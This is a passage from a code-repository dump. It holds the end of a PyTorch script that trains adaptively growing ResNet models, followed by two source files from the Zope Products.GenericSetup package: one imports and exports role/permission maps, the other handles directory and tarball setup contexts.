type=int, metavar='N', help='train batchsize')\nparser.add_argument('--test-batch', default=100, type=int, metavar='N', help='test batchsize')\nparser.add_argument('--lr', '--learning-rate', default=0.1, type=float, metavar='LR', help='initial learning rate')\nparser.add_argument('--scheduler', type=str, default='constant', choices=scheduler_names, help='scheduler type: constant, step, cosine, adacosine')\nparser.add_argument('--schedule', type=int, nargs='*', default=[81, 122], help='Decrease learning rate at these epochs. Required if using step scheduler')\nparser.add_argument('--gamma', type=float, default=0.1, help='lr decaying rate, required if using step scheduler')\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M', help='momentum')\nparser.add_argument('--weight-decay', '--wd', default=1e-4, type=float, metavar='W', help='weight decay (default: 1e-4)')\n\n# Model\nparser.add_argument('--arch', '-a', metavar='ARCH', default='resnet') \nparser.add_argument('--depth', type=int, default=20, help='Model depth.')\nparser.add_argument('--block-name', type=str, default='BasicBlock', help='the building block for Resnet and Preresnet: BasicBlock, Bottleneck (default: Basicblock for cifar10/cifar100)')\n\n# Grow\nparser.add_argument('--grow', type=str2bool, const=True, default=False, nargs='?', help='Time to grow up!')\nparser.add_argument('--mode', type=str, choices=['adapt', 'fixed'], default='adapt', help='The growing mode: adaptive to errs, or fixed at some epochs')\nparser.add_argument('--grow-epoch', type=str, nargs='*', default=['60', '110'], help='Duplicate the model at these epochs. Required if mode = fixed.')\nparser.add_argument('--max-depth', type=int, default=74, help='Max model depth. Required if mode = adapt.')\nparser.add_argument('--window', type=int, default=3, help='Smooth scope of truncated err estimation. Required if mode = adapt.')\nparser.add_argument('--threshold', type=float, default=1.4, help='Err trigger threshold for growing. Required if mode = adapt.')\nparser.add_argument('--reserve', type=int, default=30, help='Reserved epochs for final model')\nparser.add_argument('--hooker', type=str, choices=['None', 'Lip'], default='Lip', help='Hooker on model to output some info')\n\n# others\nparser.add_argument('-c', '--checkpoint', default='checkpoint', type=str, metavar='PATH', help='path to save checkpoint (default: checkpoint)')\nparser.add_argument('--debug-batch-size', type=int, default=0, help='number of training batches for quick check. default: 0 - no debug')\nparser.add_argument('--manualSeed', type=int, help='manual seed')\nparser.add_argument('--gpu-id', default='7', type=str, help='id(s) for CUDA_VISIBLE_DEVICES')\n\nargs = parser.parse_args()\nprint_arguments(args)\n\n# arguments post process\nif args.dataset.lower().startswith('cifar'):\n import models.cifar as models\nelif 'imagenet' in args.dataset.lower():\n import models.imagenet as models\nelse:\n raise KeyError(args.dataset)\n\nif args.hooker == 'None':\n args.hooker = None\n\nif args.mode == 'fixed':\n assert all([s.isdigit() for s in args.grow_epoch]), 'integer grow epochs required for fixed grow'\n args.grow_epoch = [int(s) for s in args.grow_epoch]\n\nif args.mode == 'adapt':\n assert args.max_depth, 'max depth required for adaptive grow'\n\nif args.scheduler == 'adacosine':\n assert(not args.schedule), 'no need to set schedule for adaptive scheduler'\n assert args.grow, 'adacosine scheduler is only appropriate for adaptive training, consider using cosine with restarts for vanilla training'\n\nassert args.dataset in ['cifar10', 'cifar100', 'imagenet', 'tiny-imagenet'], args.dataset\n\n\ndef main():\n\n # Use CUDA\n os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu_id\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n cudnn.benchmark = True\n\n # Random seed\n if args.manualSeed is None:\n args.manualSeed = random.randint(1, 10000)\n random.seed(args.manualSeed)\n torch.manual_seed(args.manualSeed)\n if torch.cuda.is_available():\n torch.cuda.manual_seed_all(args.manualSeed)\n\n # allow parallel training\n def to_parallel(model):\n if torch.cuda.device_count() > 1:\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n return torch.nn.DataParallel(model)\n return model\n\n # make output dir\n if not os.path.isdir(args.checkpoint):\n mkdir_p(args.checkpoint)\n\n # Load dataset\n trainloader, valloader, testloader, num_classes = get_loaders(dataset=args.dataset,\n download=False,\n train_batch=args.train_batch,\n test_batch=args.test_batch,\n n_workers=args.workers, \n data_dir='./data')\n\n\n # Init model\n print(\"==> creating model '{}'\".format(args.arch))\n if args.arch.startswith('resnet') or args.arch.startswith('preresnet'):\n model = models.__dict__[args.arch](\n num_classes=num_classes,\n depth=args.depth,\n block_name=args.block_name,\n )\n else:\n model = models.__dict__[args.arch](num_classes=num_classes)\n print(\" Total params: %.2fM\" % (sum(p.numel() for p in model.parameters())/1000000.0))\n\n to_parallel(model).to(device)\n\n # Set model Lipschitz hooker\n print(\"==> set Lipschitz hooker \")\n hooker = LipHooker(args.arch, args.checkpoint, device=device)\n hooker.hook(model)\n\n # Set criterion and optimizer\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(model.parameters(), lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n\n # Set learning rate scheduler\n print(\"==> creating scheduler '{}'\".format(args.scheduler))\n if args.scheduler.startswith('constant'):\n scheduler = schedulers.__dict__[args.scheduler](optimizer=optimizer, dpath=args.checkpoint)\n elif args.scheduler.startswith('step'):\n scheduler = schedulers.__dict__[args.scheduler](optimizer=optimizer, milestones=args.schedule, gamma=args.gamma, dpath=args.checkpoint)\n elif args.scheduler.startswith('cosine'): \n scheduler = schedulers.__dict__[args.scheduler](optimizer=optimizer, milestones=args.schedule, epochs=args.epochs, dpath=args.checkpoint)\n elif args.scheduler.startswith('adacosine'): \n scheduler = schedulers.__dict__[args.scheduler](optimizer=optimizer, epochs=args.epochs, dpath=args.checkpoint)\n else:\n raise KeyError(args.scheduler)\n\n # Set info logger\n title = args.dataset + '-' + args.arch\n logger = Logger(os.path.join(args.checkpoint, 'log.txt'), title=title)\n logger.set_names(['Epoch', 'Time Elapsed', 'Learning Rate', 'Train Loss', 'Valid Loss', 'Test Loss', 'Train Acc.', 'Valid Acc.', 'Test Acc.'])\n\n # ---------- grow -----------\n # Set model architecture tracker for grow\n modelArch=None\n if args.grow:\n modelArch = ModelArch(args.arch, model, args.epochs, args.depth, max_depth=args.max_depth, dpath=args.checkpoint, dataset=args.dataset)\n\n # Set trigger for grow\n if args.grow and args.mode == 'adapt':\n trigger = TolTrigger(tolerance=args.threshold, window=args.window, reserve=args.reserve, epochs=args.epochs, modelArch=modelArch)\n\n # Training start\n print(\"==> training start - epochs: %i\" % args.epochs)\n time_start = time.time()\n best_val_acc = 0 # best test accuracy\n best_epoch = 0\n\n for epoch in range(args.epochs):\n\n train_loss, train_acc = train(trainloader, model, criterion, optimizer,\n debug_batch_size=args.debug_batch_size, device=device)\n val_loss, val_acc = test(valloader, model, criterion, device=device)\n test_loss, test_acc = test(testloader, model, criterion)\n\n # print('\\nEpoch: [%d | %d] LR: %f Train-Loss: %.4f Val-Loss: %.4f Train-Acc: %.4f Val-Acc: %.4f' % (epoch + 1, args.epochs, scheduler.lr_(), train_loss, val_loss, train_acc, val_acc))\n logger.append([epoch, (time.time() - time_start)/60., scheduler.lr_(),\n train_loss, val_loss, test_loss, train_acc, val_acc, test_acc])\n\n # save model\n is_best = val_acc > best_val_acc\n if is_best:\n best_epoch = epoch + 1\n best_val_acc = max(val_acc, best_val_acc)\n save_checkpoint({\n 'epoch': epoch + 1,\n 'state_dict': model.state_dict(),\n 'acc': val_acc,\n 'best_val_acc': best_val_acc,\n 'optimizer' : optimizer.state_dict(),\n }, is_best, checkpoint=args.checkpoint)\n\n # update grower and scheduler\n if args.grow:\n modelArch.update(epoch, is_best, model)\n errs = None\n if args.hooker:\n errs = hooker.output(epoch)\n scheduler.step_(epoch, errs)\n\n # grow\n if args.grow:\n if args.mode == 'fixed': # grow specified at fixed epochs\n if epoch + 1 in args.grow_epoch:\n modelArch.grow(1) # dummy grow\n model = models.__dict__[args.arch](num_classes=num_classes,\n block_name=args.block_name,\n archs=modelArch.arch)\n to_parallel(model).to(device)\n model.load_state_dict(modelArch.state_dict.state_dict, strict=False) # True) # False due to buffer added during training to calculate lipschitz\n if args.scheduler == 'cosine' and not args.schedule:\n # cases that learning rate is continued\n optimizer = optim.SGD(model.parameters(), lr=scheduler.lr_(), momentum=args.momentum, weight_decay=args.weight_decay)\n else:\n # cases that learning rate is reset, aka lr restart\n optimizer = optim.SGD(model.parameters(), lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n '''\n probably have to copy the entire momentum history for each weight\n but here just initialize the optimizer again\n '''\n # if multi epoch cosine or cosine_restart\n scheduler.update(optimizer, epoch=epoch)\n if args.hooker:\n hooker.hook(model)\n modelArch.record(epoch, model)\n\n elif args.mode == 'adapt': # grow happens automatically\n assert args.hooker, 'For adaptive training, model hooker must be provided to monitor some stats'\n trigger.feed(errs) \n err_indices = trigger.trigger(epoch, modelArch.get_num_blocks_all_layer()) # propose candidate blocks to be growed\n if err_indices:\n err_indices = modelArch.grow(err_indices) # try duplicate it to see if any layer exceeds upper limit\n if err_indices:\n model = models.__dict__[args.arch](num_classes=num_classes,\n block_name=args.block_name,\n archs=modelArch.arch)\n to_parallel(model).to(device)\n model.load_state_dict(modelArch.state_dict.state_dict, strict=False) # not strict matching due to Lipschitz buffer\n if args.scheduler == 'cosine':\n # cases that learning rate is continued\n optimizer = optim.SGD(model.parameters(), lr=scheduler.lr_(), momentum=args.momentum, weight_decay=args.weight_decay)\n else:\n # cases that learning rate is reset, aka lr restart\n optimizer = optim.SGD(model.parameters(), lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n if args.hooker:\n hooker.hook(model)\n trigger.update(err_indices) # reset history errors in trigger\n scheduler.update(optimizer, epoch=epoch) # update optimizer in lr scheduler\n modelArch.record(epoch, model) # keep the current architecture for record\n else:\n raise KeyError('Grow mode %s not supported!' % args.mode)\n\n # print growing stats\n if args.grow:\n print('\\nGrow epochs: ', modelArch.grow_epochs[1:], end=', ')\n print('Num parameters: ', modelArch.num_parameters, end=', ')\n print('PPE: %.2f' % modelArch._get_ppe())\n\n # evaluate best model\n print('Best val acc: %.4f at %i' % (best_val_acc, best_epoch)) # this is the validation acc\n best_checkpoint = torch.load(os.path.join(args.checkpoint, 'model_best.pth.tar'))\n if args.grow:\n best_model = models.__dict__[args.arch](num_classes=num_classes,\n block_name=args.block_name,\n archs = modelArch.best_arch)\n else:\n best_model = models.__dict__[args.arch](num_classes=num_classes,\n depth=args.depth,\n block_name=args.block_name)\n\n if torch.cuda.device_count() > 1:\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n best_model = torch.nn.DataParallel(best_model)\n best_model.to(device) # --\n best_model.load_state_dict(best_checkpoint['state_dict'], strict=False)\n\n test_loss, test_acc = test(testloader, best_model, criterion)\n if args.grow:\n print('Best arch: %s' % modelArch.__str__(best=True), end=', ')\n print('Best Test Loss: %.4f, Best Test Acc: %.4f' % (test_loss, test_acc))\n\n # evaluate final model\n test_loss, test_acc = test(testloader, model, criterion)\n if args.grow:\n print('Final arch: %s' % modelArch, end=', ')\n print('Final Test Loss: %.4f, Final Test Acc: %.4f' % (test_loss, test_acc))\n\n print('Wall time: %.3f mins' % ((time.time() - time_start)/60))\n\n # round off\n scheduler.close()\n if args.hooker:\n hooker.close()\n if args.grow:\n modelArch.close()\n if args.mode == 'adapt':\n trigger.close()\n logger.close()\n\n\nif __name__ == '__main__':\n main()\n" } ]
11
aodag/Products.GenericSetup
https://github.com/aodag/Products.GenericSetup
6a1509c091dfea257a75d8a8e14814c5ba57c23e
1e732470386112197a06a1a45beeb84f706234b4
5880c0ba2024fa9dfe40eb8ea84b621c3cd9e55b
refs/heads/master
2021-07-01T11:05:56.363883
2017-09-21T08:03:03
2017-09-21T08:03:03
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5637990236282349, "alphanum_fraction": 0.5694425106048584, "avg_line_length": 31.7252254486084, "blob_id": "6218767d958a3efbc6f0a309e8c0bedd36f6e82c", "content_id": "15834a5fdcb7355d3e258889379c53ae435a6d05", "detected_licenses": [ "ZPL-2.1" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7265, "license_type": "permissive", "max_line_length": 78, "num_lines": 222, "path": "/Products/GenericSetup/rolemap.py", "repo_name": "aodag/Products.GenericSetup", "src_encoding": "UTF-8", "text": "##############################################################################\n#\n# Copyright (c) 2004 Zope Foundation and Contributors.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\" GenericSetup: Role-permission export / import\n\"\"\"\n\nfrom AccessControl.Permission import Permission\nfrom AccessControl.SecurityInfo import ClassSecurityInfo\nfrom App.class_init import InitializeClass\nfrom Products.PageTemplates.PageTemplateFile import PageTemplateFile\n\nfrom Products.GenericSetup.permissions import ManagePortal\nfrom Products.GenericSetup.utils import _xmldir\nfrom Products.GenericSetup.utils import ExportConfiguratorBase\nfrom Products.GenericSetup.utils import ImportConfiguratorBase\nfrom Products.GenericSetup.utils import CONVERTER, DEFAULT, KEY\n\n\n#\n# Configurator entry points\n#\n_FILENAME = 'rolemap.xml'\n\n\ndef importRolemap( context ):\n \"\"\" Import roles / permission map from an XML file.\n\n o 'context' must implement IImportContext.\n\n o Register via Python:\n\n registry = site.setup_tool.setup_steps\n registry.registerStep( 'importRolemap'\n , '20040518-01'\n , Products.GenericSetup.rolemap.importRolemap\n , ()\n , 'Role / Permission import'\n , 'Import additional roles, and map '\n 'roles to permissions'\n )\n\n o Register via XML:\n\n <setup-step id=\"importRolemap\"\n version=\"20040518-01\"\n handler=\"Products.GenericSetup.rolemap.importRolemap\"\n title=\"Role / Permission import\"\n >Import additional roles, and map roles to permissions.</setup-step>\n\n \"\"\"\n site = context.getSite()\n encoding = context.getEncoding()\n logger = context.getLogger('rolemap')\n\n text = context.readDataFile( _FILENAME )\n\n if text is not None:\n\n if context.shouldPurge():\n\n items = list(site.__dict__.items())\n\n for k, v in items: # XXX: WAAA\n\n if k == '__ac_roles__':\n delattr( site, k )\n\n if k.startswith( '_' ) and k.endswith( '_Permission' ):\n delattr( site, k )\n\n rc = RolemapImportConfigurator(site, encoding)\n rolemap_info = rc.parseXML( text )\n\n immediate_roles = list( getattr(site, '__ac_roles__', []) )\n already = {}\n\n for role in site.valid_roles():\n already[ role ] = 1\n\n for role in rolemap_info[ 'roles' ]:\n\n if already.get( role ) is None:\n immediate_roles.append( role )\n already[ role ] = 1\n\n immediate_roles.sort()\n site.__ac_roles__ = tuple( immediate_roles )\n\n for permission in rolemap_info[ 'permissions' ]:\n\n site.manage_permission( permission[ 'name' ]\n , permission.get('roles', [])\n , permission[ 'acquire' ]\n )\n\n logger.info('Role / permission map imported.')\n\n\ndef exportRolemap( context ):\n \"\"\" Export roles / permission map as an XML file\n\n o 'context' must implement IExportContext.\n\n o Register via Python:\n\n registry = site.setup_tool.export_steps\n registry.registerStep( 'exportRolemap'\n , Products.GenericSetup.rolemap.exportRolemap\n , 'Role / Permission export'\n , 'Export additional roles, and '\n 'role / permission map '\n )\n\n o Register via XML:\n\n <export-script id=\"exportRolemap\"\n version=\"20040518-01\"\n handler=\"Products.GenericSetup.rolemap.exportRolemap\"\n title=\"Role / Permission export\"\n >Export additional roles, and role / permission map.</export-script>\n\n \"\"\"\n site = context.getSite()\n logger = context.getLogger('rolemap')\n\n rc = RolemapExportConfigurator(site).__of__(site)\n text = rc.generateXML()\n\n context.writeDataFile( _FILENAME, text, 'text/xml' )\n\n logger.info('Role / permission map exported.')\n\n\nclass RolemapExportConfigurator(ExportConfiguratorBase):\n\n \"\"\" Synthesize XML description of sitewide role-permission settings.\n \"\"\"\n security = ClassSecurityInfo()\n\n security.declareProtected( ManagePortal, 'listRoles' )\n def listRoles( self ):\n \"\"\" List the valid role IDs for our site.\n \"\"\"\n return self._site.valid_roles()\n\n security.declareProtected( ManagePortal, 'listPermissions' )\n def listPermissions( self ):\n \"\"\" List permissions for export.\n\n o Returns a sqeuence of mappings describing locally-modified\n permission / role settings. Keys include:\n\n 'permission' -- the name of the permission\n\n 'acquire' -- a flag indicating whether to acquire roles from the\n site's container\n\n 'roles' -- the list of roles which have the permission.\n\n o Do not include permissions which both acquire and which define\n no local changes to the acquired policy.\n \"\"\"\n permissions = []\n valid_roles = self.listRoles()\n\n for perm in self._site.ac_inherited_permissions( 1 ):\n\n name = perm[ 0 ]\n p = Permission( name, perm[ 1 ], self._site )\n roles = p.getRoles( default=[] )\n acquire = isinstance( roles, list ) # tuple means don't acquire\n roles = [ r for r in roles if r in valid_roles ]\n roles.sort()\n\n if roles or not acquire:\n permissions.append( { 'name' : name\n , 'acquire' : acquire\n , 'roles' : roles\n } )\n\n return permissions\n\n def _getExportTemplate(self):\n\n return PageTemplateFile('rmeExport.xml', _xmldir)\n\nInitializeClass(RolemapExportConfigurator)\n\n\nclass RolemapImportConfigurator(ImportConfiguratorBase):\n\n \"\"\" Synthesize XML description of sitewide role-permission settings.\n \"\"\"\n security = ClassSecurityInfo()\n\n def _getImportMapping(self):\n\n return {\n 'rolemap':\n { 'roles': {CONVERTER: self._convertToUnique, DEFAULT: ()},\n 'permissions': {CONVERTER: self._convertToUnique} },\n 'roles':\n { 'role': {KEY: None} },\n 'role':\n { 'name': {KEY: None} },\n 'permissions':\n { 'permission': {KEY: None, DEFAULT: ()} },\n 'permission':\n { 'name': {},\n 'role': {KEY: 'roles'},\n 'acquire': {CONVERTER: self._convertToBoolean} } }\n\nInitializeClass(RolemapImportConfigurator)\n" }, { "alpha_fraction": 0.5801084637641907, "alphanum_fraction": 0.5821307301521301, "avg_line_length": 30.261493682861328, "blob_id": "959a931dd46cdda4cb8549e08f57d2b4a09813e5", "content_id": "f8cc0f3640c260844295ea7ac552c22f687807f2", "detected_licenses": [ "ZPL-2.1" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21758, "license_type": "permissive", "max_line_length": 78, "num_lines": 696, "path": "/Products/GenericSetup/context.py", "repo_name": "aodag/Products.GenericSetup", "src_encoding": "UTF-8", "text": "##############################################################################\n#\n# Copyright (c) 2004 Zope Foundation and Contributors.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\" Various context implementations for export / import of configurations.\n\nWrappers representing the state of an import / export operation.\n\"\"\"\n\nimport logging\nimport os\nfrom six.moves import cStringIO\nimport time\nfrom tarfile import DIRTYPE\nfrom tarfile import TarFile\nfrom tarfile import TarInfo\n\nfrom AccessControl.SecurityInfo import ClassSecurityInfo\nfrom Acquisition import aq_inner\nfrom Acquisition import aq_parent\nfrom Acquisition import aq_self\nfrom Acquisition import Implicit\nfrom App.class_init import InitializeClass\nfrom DateTime.DateTime import DateTime\nfrom OFS.DTMLDocument import DTMLDocument\nfrom OFS.Folder import Folder\nfrom OFS.Image import File\nfrom OFS.Image import Image\nfrom Products.PageTemplates.ZopePageTemplate import ZopePageTemplate\nfrom Products.PythonScripts.PythonScript import PythonScript\nfrom zope.interface import implementer\n\nfrom Products.GenericSetup.interfaces import IChunkableExportContext\nfrom Products.GenericSetup.interfaces import IChunkableImportContext\nfrom Products.GenericSetup.interfaces import IExportContext\nfrom Products.GenericSetup.interfaces import IImportContext\nfrom Products.GenericSetup.interfaces import ISetupEnviron\nfrom Products.GenericSetup.interfaces import IWriteLogger\nfrom Products.GenericSetup.interfaces import SKIPPED_FILES\nfrom Products.GenericSetup.interfaces import SKIPPED_SUFFIXES\nfrom Products.GenericSetup.permissions import ManagePortal\n\n\n@implementer(IWriteLogger)\nclass Logger:\n\n def __init__(self, id, messages):\n \"\"\"Initialize the logger with a name and an optional level.\n \"\"\"\n self._id = id\n self._messages = messages\n self._logger = logging.getLogger('GenericSetup.%s' % id)\n\n def debug(self, msg, *args, **kwargs):\n \"\"\"Log 'msg % args' with severity 'DEBUG'.\n \"\"\"\n self.log(logging.DEBUG, msg, *args, **kwargs)\n\n def info(self, msg, *args, **kwargs):\n \"\"\"Log 'msg % args' with severity 'INFO'.\n \"\"\"\n self.log(logging.INFO, msg, *args, **kwargs)\n\n def warning(self, msg, *args, **kwargs):\n \"\"\"Log 'msg % args' with severity 'WARNING'.\n \"\"\"\n self.log(logging.WARNING, msg, *args, **kwargs)\n\n def error(self, msg, *args, **kwargs):\n \"\"\"Log 'msg % args' with severity 'ERROR'.\n \"\"\"\n self.log(logging.ERROR, msg, *args, **kwargs)\n\n def exception(self, msg, *args):\n \"\"\"Convenience method for logging an ERROR with exception information.\n \"\"\"\n self.error(msg, *args, **{'exc_info': 1})\n\n def critical(self, msg, *args, **kwargs):\n \"\"\"Log 'msg % args' with severity 'CRITICAL'.\n \"\"\"\n self.log(logging.CRITICAL, msg, *args, **kwargs)\n\n def log(self, level, msg, *args, **kwargs):\n \"\"\"Log 'msg % args' with the integer severity 'level'.\n \"\"\"\n self._messages.append((level, self._id, msg))\n self._logger.log(level, msg, *args, **kwargs)\n\n\n@implementer(ISetupEnviron)\nclass SetupEnviron(Implicit):\n\n \"\"\"Context for body im- and exporter.\n \"\"\"\n\n security = ClassSecurityInfo()\n\n def __init__(self):\n self._should_purge = True\n\n security.declareProtected(ManagePortal, 'getLogger')\n def getLogger(self, name):\n \"\"\"Get a logger with the specified name, creating it if necessary.\n \"\"\"\n return logging.getLogger('GenericSetup.%s' % name)\n\n security.declareProtected(ManagePortal, 'shouldPurge')\n def shouldPurge(self):\n \"\"\"When installing, should the existing setup be purged?\n \"\"\"\n return self._should_purge\n\nInitializeClass(SetupEnviron)\n\n\nclass BaseContext(SetupEnviron):\n\n security = ClassSecurityInfo()\n\n def __init__( self, tool, encoding ):\n\n self._tool = tool\n self._site = aq_parent( aq_inner( tool ) )\n self._loggers = {}\n self._messages = []\n self._encoding = encoding\n self._should_purge = True\n\n security.declareProtected( ManagePortal, 'getSite' )\n def getSite( self ):\n \"\"\" See ISetupContext.\n \"\"\"\n return aq_self(self._site)\n\n security.declareProtected( ManagePortal, 'getSetupTool' )\n def getSetupTool( self ):\n \"\"\" See ISetupContext.\n \"\"\"\n return self._tool\n\n security.declareProtected( ManagePortal, 'getEncoding' )\n def getEncoding( self ):\n \"\"\" See ISetupContext.\n \"\"\"\n return self._encoding\n\n security.declareProtected( ManagePortal, 'getLogger' )\n def getLogger( self, name ):\n \"\"\" See ISetupContext.\n \"\"\"\n return self._loggers.setdefault(name, Logger(name, self._messages))\n\n security.declareProtected( ManagePortal, 'listNotes' )\n def listNotes(self):\n \"\"\" See ISetupContext.\n \"\"\"\n return self._messages[:]\n\n security.declareProtected( ManagePortal, 'clearNotes' )\n def clearNotes(self):\n \"\"\" See ISetupContext.\n \"\"\"\n self._messages[:] = []\n\nInitializeClass(BaseContext)\n\n\n@implementer(IChunkableImportContext)\nclass DirectoryImportContext( BaseContext ):\n\n security = ClassSecurityInfo()\n\n def __init__( self\n , tool\n , profile_path\n , should_purge=False\n , encoding=None\n ):\n\n BaseContext.__init__( self, tool, encoding )\n self._profile_path = profile_path\n self._should_purge = bool( should_purge )\n\n security.declareProtected( ManagePortal, 'openDataFile' )\n def openDataFile( self, filename, subdir=None ):\n \"\"\" See IImportContext.\n \"\"\"\n if subdir is None:\n full_path = os.path.join( self._profile_path, filename )\n else:\n full_path = os.path.join( self._profile_path, subdir, filename )\n\n if not os.path.exists( full_path ):\n return None\n\n return open( full_path, 'rb' )\n\n security.declareProtected( ManagePortal, 'readDataFile' )\n def readDataFile( self, filename, subdir=None ):\n \"\"\" See IImportContext.\n \"\"\"\n result = None\n file = self.openDataFile( filename, subdir )\n if file is not None:\n result = file.read()\n file.close()\n return result\n\n security.declareProtected( ManagePortal, 'getLastModified' )\n def getLastModified( self, path ):\n \"\"\" See IImportContext.\n \"\"\"\n full_path = os.path.join( self._profile_path, path )\n\n if not os.path.exists( full_path ):\n return None\n\n return DateTime( os.path.getmtime( full_path ) )\n\n security.declareProtected( ManagePortal, 'isDirectory' )\n def isDirectory( self, path ):\n \"\"\" See IImportContext.\n \"\"\"\n full_path = os.path.join( self._profile_path, path )\n\n if not os.path.exists( full_path ):\n return None\n\n return os.path.isdir( full_path )\n\n security.declareProtected( ManagePortal, 'listDirectory' )\n def listDirectory(self, path, skip=SKIPPED_FILES,\n skip_suffixes=SKIPPED_SUFFIXES):\n \"\"\" See IImportContext.\n \"\"\"\n if path is None:\n path = ''\n\n full_path = os.path.join( self._profile_path, path )\n\n if not os.path.exists( full_path ) or not os.path.isdir( full_path ):\n return None\n\n names = []\n for name in os.listdir(full_path):\n if name in skip:\n continue\n if [s for s in skip_suffixes if name.endswith(s)]:\n continue\n names.append(name)\n\n return names\n\nInitializeClass(DirectoryImportContext)\n\n\n@implementer(IChunkableExportContext)\nclass DirectoryExportContext( BaseContext ):\n\n security = ClassSecurityInfo()\n\n def __init__( self, tool, profile_path, encoding=None ):\n\n BaseContext.__init__( self, tool, encoding )\n self._profile_path = profile_path\n\n security.declareProtected( ManagePortal, 'openDataFile' )\n def openDataFile( self, filename, content_type, subdir=None ):\n \"\"\" See IChunkableExportContext.\n \"\"\"\n if subdir is None:\n prefix = self._profile_path\n else:\n prefix = os.path.join( self._profile_path, subdir )\n\n full_path = os.path.join( prefix, filename )\n\n if not os.path.exists( prefix ):\n os.makedirs( prefix )\n\n mode = content_type.startswith( 'text/' ) and 'w' or 'wb'\n\n return open( full_path, mode )\n\n security.declareProtected( ManagePortal, 'writeDataFile' )\n def writeDataFile( self, filename, text, content_type, subdir=None ):\n \"\"\" See IExportContext.\n \"\"\"\n if isinstance(text, unicode):\n raise ValueError(\"Unicode text is not supported, even if it only \"\n \"contains ascii. Please encode your data. See \"\n \"GS 1.7.0 changes for more\")\n file = self.openDataFile( filename, content_type, subdir )\n file.write( text )\n file.close()\n\nInitializeClass(DirectoryExportContext)\n\n\n@implementer(IImportContext)\nclass TarballImportContext( BaseContext ):\n\n security = ClassSecurityInfo()\n\n def __init__( self, tool, archive_bits, encoding=None,\n should_purge=False ):\n BaseContext.__init__( self, tool, encoding )\n self._archive_stream = cStringIO(archive_bits)\n self._archive = TarFile.open( 'foo.bar', 'r:gz'\n , self._archive_stream )\n self._should_purge = bool( should_purge )\n\n def readDataFile( self, filename, subdir=None ):\n \"\"\" See IImportContext.\n \"\"\"\n if subdir is not None:\n filename = '/'.join( ( subdir, filename ) )\n\n try:\n file = self._archive.extractfile( filename )\n except KeyError:\n return None\n\n return file.read()\n\n def getLastModified( self, path ):\n \"\"\" See IImportContext.\n \"\"\"\n info = self._getTarInfo( path )\n return info and DateTime(info.mtime) or None\n\n def isDirectory( self, path ):\n \"\"\" See IImportContext.\n \"\"\"\n info = self._getTarInfo( path )\n\n if info is not None:\n return info.isdir()\n\n def listDirectory(self, path, skip=SKIPPED_FILES,\n skip_suffixes=SKIPPED_SUFFIXES):\n \"\"\" See IImportContext.\n \"\"\"\n if path is None: # root is special case: no leading '/'\n path = ''\n else:\n if not self.isDirectory(path):\n return None\n\n if not path.endswith('/'):\n path = path + '/'\n\n pfx_len = len(path)\n\n names = []\n for info in self._archive.getmembers():\n name = info.name.rstrip('/')\n if name == path or not name.startswith(path):\n continue\n name = name[pfx_len:]\n if '/' in name:\n # filter out items in subdirs\n continue\n if name in skip:\n continue\n if [s for s in skip_suffixes if name.endswith(s)]:\n continue\n names.append(name)\n\n return names\n\n def shouldPurge( self ):\n \"\"\" See IImportContext.\n \"\"\"\n return self._should_purge\n\n def _getTarInfo( self, path ):\n if path.endswith('/'):\n path = path[:-1]\n try:\n return self._archive.getmember( path )\n except KeyError:\n pass\n try:\n return self._archive.getmember( path + '/' )\n except KeyError:\n return None\n\nInitializeClass(TarballImportContext)\n\n\n@implementer(IExportContext)\nclass TarballExportContext( BaseContext ):\n\n security = ClassSecurityInfo()\n\n def __init__( self, tool, encoding=None ):\n\n BaseContext.__init__( self, tool, encoding )\n\n timestamp = time.gmtime()\n archive_name = ( 'setup_tool-%4d%02d%02d%02d%02d%02d.tar.gz'\n % timestamp[:6] )\n\n self._archive_stream = cStringIO()\n self._archive_filename = archive_name\n self._archive = TarFile.open( archive_name, 'w:gz'\n , self._archive_stream )\n\n security.declareProtected( ManagePortal, 'writeDataFile' )\n def writeDataFile( self, filename, text, content_type, subdir=None ):\n \"\"\" See IExportContext.\n \"\"\"\n if subdir is not None:\n filename = '/'.join( ( subdir, filename ) )\n\n parents = filename.split('/')[:-1]\n while parents:\n path = '/'.join(parents) + '/'\n if path not in self._archive.getnames():\n info = TarInfo(path)\n info.type = DIRTYPE\n # tarfile.filemode(0o755) == '-rwxr-xr-x'\n info.mode = 0o755\n info.mtime = time.time()\n self._archive.addfile(info)\n parents.pop()\n\n info = TarInfo(filename)\n if isinstance(text, str):\n stream = cStringIO(text)\n info.size = len(text)\n elif isinstance(text, unicode):\n raise ValueError(\"Unicode text is not supported, even if it only \"\n \"contains ascii. Please encode your data. See \"\n \"GS 1.7.0 changes for more\")\n else:\n # Assume text is a an instance of a class like\n # Products.Archetypes.WebDAVSupport.PdataStreamIterator, \n # as in the case of ATFile\n stream = text.file\n info.size = text.size\n info.mtime = time.time()\n self._archive.addfile( info, stream )\n\n security.declareProtected( ManagePortal, 'getArchive' )\n def getArchive( self ):\n \"\"\" Close the archive, and return it as a big string.\n 